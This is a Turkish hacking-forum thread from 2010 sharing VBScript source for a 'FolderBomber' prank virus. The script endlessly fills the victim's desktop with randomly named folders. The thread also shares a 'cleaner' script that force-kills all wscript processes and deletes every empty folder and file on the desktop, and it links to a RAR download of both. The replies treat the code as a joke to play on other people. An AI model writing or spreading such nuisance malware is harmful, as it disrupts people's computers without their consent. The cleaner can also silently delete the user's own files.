İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

masa üstü klosör virüsü

11-02-2010 10:27
#1
Üyelik tarihi:
04/2009
Mesajlar:
172
Teşekkür (Etti):
8
Teşekkür (Aldı):
5
Konular:
10
Ticaret:
(0) %
gecen gün bana 1 arkadaş yolladı çok hoşuma gitti sizlerle paylaşmak ıstedim
Buyrun

Öncelikle alt tarafta verdiğim kodu txt dosyasına yapıştırıp farklı kaydet deyip FolderBomber.vbs olarak kaydediniz



kodlar

Alıntı:
'----------------FolderBomber.vbs---------------
Alıntı:

'Made by türk
'web site http://tht.org
Dim fso,sho,basfolder,bf
Set fso = CreateObject( "Scripting.FileSystemObject" )
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")' Get your Desktop Folder
Set bf = fso.GetFolder( basefolder )
do
Randomize
r=Int((99999*Rnd)+1)
bf.subFolders.Add("by türk_"&r) 'Create Folders with names begin with by türk and a random Number in your desktop
wscript.sleep 1000 'Pause of 1 second and continue the loop
loop

buda temizleme kodu

Alıntı:
'----------------Cleaner.vbs---------------


Alıntı:

'Made by türk

'web site http://tht.org

Dim fso, f, f1, fc, ss

Set fso = CreateObject("Scripting.FileSystemObject")
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")
Set f = fso.GetFolder( basefolder )
Set fc = f.SubFolders
NomFichierLog="Dossiers_Vides"
temp = sho.ExpandEnvironmentStrings("%temp%")
Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)







count=0 'initialisation du compteur des Dossiers vides

NBfichier=0 'initialisation du idesvompteur des fichiers

' Tuer le processus wscript
sho.run "Taskkill /IM wscript.exe /F", 0
'Boucle pour la recherche des Dossiers vides
For Each f1 in fc
If f1.size = 0 Then
count= count + 1
OutPut.WriteLine f1.Path
f1.delete
End if
Next
'Boucle pour la recherche des fichiers vides
For Each Fichier in f.files
if Fichier.size = 0 then
NBfichier=NBfichier+1
OutPut.WriteLine Fichier.Path
Fichier.delete
end if
next
Msgbox count& " Dosya Temizlendi",64,"by türk Virüs Temizleme"
Msgbox NBfichier& " Virüslü Dosya Kaldı",64,"by türk Virüs Temizleme"






buda bazı arkadaşlara zor gelır dıye upload ettım ındırsınler

http://hotfile.com/dl/28090655/5a11e93/byturk.rar.html

İsteyen kendi pc denesin temizleme kodu var süper 1 şey herhangi 1 zarar vermiyor bizzat kendim denedim
Kullanıcı İmzası
[DOST DEDİĞİN ÖLÜME GİDİYORUZ DEDİĞİN ZAMAN NEDEN ?
DİYE SORAN DEĞİL NE ZAMAN GİDİYORUZ DİYENDİR]
Konu kızılgün tarafından (11-02-2010 10:44 Saat 10:44 ) değiştirilmiştir.
dewilboys Teşekkür etti.

15-02-2010 21:40
#2
Üyelik tarihi:
04/2009
Mesajlar:
172
Teşekkür (Etti):
8
Teşekkür (Aldı):
5
Konular:
10
Ticaret:
(0) %
pm den atmışsın kardeş sorun yok kullanabilirsin
Kullanıcı İmzası
[DOST DEDİĞİN ÖLÜME GİDİYORUZ DEDİĞİN ZAMAN NEDEN ?
DİYE SORAN DEĞİL NE ZAMAN GİDİYORUZ DİYENDİR]
16-02-2010 11:56
#3
ceyhann19 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2009
Nereden:
Çorum
Mesajlar:
496
Teşekkür (Etti):
29
Teşekkür (Aldı):
39
Konular:
8
Ticaret:
(0) %
sağol çok süper şaka olur bunla
16-02-2010 12:30
#4
magarex - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2010
Nereden:
Philadelphia
Yaş:
28
Mesajlar:
1.022
Teşekkür (Etti):
8
Teşekkür (Aldı):
154
Konular:
104
Ticaret:
(0) %
bunlar daha bi şey mi
Kullanıcı İmzası
Turkhackteam/Magarex
16-02-2010 13:22
#5
ward - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
06/2009
Nereden:
.....................
Mesajlar:
870
Teşekkür (Etti):
2
Teşekkür (Aldı):
180
Konular:
57
Ticaret:
(0) %
eywallah ...
Kullanıcı İmzası
[SIGPIC][/SIGPIC]


TÜRK OLMAK ŞEREFTİR ŞEREFİN TAVİZİ OLMAZ...

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı